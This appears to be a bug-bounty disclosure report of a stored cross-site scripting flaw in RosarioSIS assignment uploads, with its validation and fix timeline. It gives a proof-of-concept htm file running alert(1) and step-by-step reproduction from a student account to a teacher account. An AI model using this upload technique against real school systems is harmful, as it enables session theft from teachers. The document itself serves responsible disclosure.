Cross-site Scripting (XSS) - Stored via htm file upload in francoisjacquet/rosariosis

Valid

Reported on

Apr 27th 2022


Description

rosariosis is vulnerable to Stored XSS in the File upload in Assignments by uploading an htm file with the javascript code inside.

Proof-of-Concept

phish.htm

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1"/>
    <title>Test Upload File</title>
</head>
<body>
    <h1>Test upload</h1>
    <script>alert(1)</script>
</body>
</html>

Step to reproduce

From attacker side (student)

1.Login to the demo environment by student account (student/student)
2.In the left menu, go to GRADES -> Assignments
3.Click on Add and subtract assignment
4.Click Choose file and upload the phish htm file above
5.Click on SUBMIT ASSIGNMENT

From victim side (teacher)

1.Login to the demo environment by teacher account (teacher/teacher)
2.In the left menu, go to GRADES -> Grades
3.Click on Student S Student student
4.Click View online in the Submission column
5.Click on Download link and you will see the XSS is triggered

Impact

This vulnerability has the potential to phish user to another page and trick user to steal cookies and gain unauthorized access to that user's account through the stolen cookies.

We are processing your report and will contact the francoisjacquet/rosariosis team within 24 hours. 25 days ago
KhanhCM modified the report
25 days ago
We have contacted a member of the francoisjacquet/rosariosis team and are waiting to hear back 24 days ago
François Jacquet validated this vulnerability 24 days ago
KhanhCM has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
François Jacquet confirmed that a fix has been merged on 90842c 24 days ago
François Jacquet has been awarded the fix bounty
to join this conversation